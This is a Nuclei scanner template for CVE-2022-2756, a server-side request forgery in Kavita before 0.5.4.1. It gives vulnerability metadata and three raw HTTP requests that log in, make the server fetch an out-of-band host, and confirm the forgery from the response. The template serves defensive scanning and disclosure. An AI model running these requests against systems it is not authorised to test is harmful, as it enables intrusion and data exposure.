85 lines
2.5 KiB
YAML
85 lines
2.5 KiB
YAML
id: CVE-2022-2756
|
|
|
|
info:
|
|
name: Kavita <0.5.4.1 - Server-Side Request Forgery
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
Kavita before 0.5.4.1 is susceptible to server-side request forgery in GitHub repository kareadita/kavita. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: Fixed in 0.5.4.1.
|
|
reference:
|
|
- https://huntr.dev/bounties/95e7c181-9d80-4428-aebf-687ac55a9216/
|
|
- https://github.com/kareadita/kavita
|
|
- https://github.com/kareadita/kavita/commit/9c31f7e7c81b919923cb2e3857439ec0d16243e4
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2756
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2022-2756
|
|
cwe-id: CWE-918
|
|
epss-score: 0.01041
|
|
epss-percentile: 0.8228
|
|
cpe: cpe:2.3:a:kavitareader:kavita:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: kavitareader
|
|
product: kavita
|
|
shodan-query: title:"kavita"
|
|
tags: ssrf,kavita,authenticated,huntr,cve,cve2022,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /api/account/login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/plain, */*
|
|
Content-Type: application/json
|
|
|
|
{"username":"{{username}}","password":"{{password}}"}
|
|
- |
|
|
POST /api/upload/upload-by-url HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/plain, */*
|
|
Authorization: Bearer {{token}}
|
|
Content-Type: application/json
|
|
|
|
{"url":"http://oast.me/#.png"}
|
|
- |
|
|
GET /api/image/cover-upload?filename=coverupload_{{filename}}.png HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Bearer {{token}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- Interactsh Server
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- image/png
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: token
|
|
group: 1
|
|
regex:
|
|
- '"token":"(.*?)"'
|
|
internal: true
|
|
|
|
- type: regex
|
|
name: filename
|
|
group: 1
|
|
regex:
|
|
- coverupload.(.*?).png
|
|
internal: true
|
|
|
|
# digest: 4b0a00483046022100d9ec86026c7ce8ba9bd9285dae5cd15f309574bfe1c85b04bee4a1c2f4da0d56022100b5a416d9c2420d283100bb162b269382205962723b7ee772180bb9e38d83a4cd:922c64590222798bb761d5b6d8e72950
|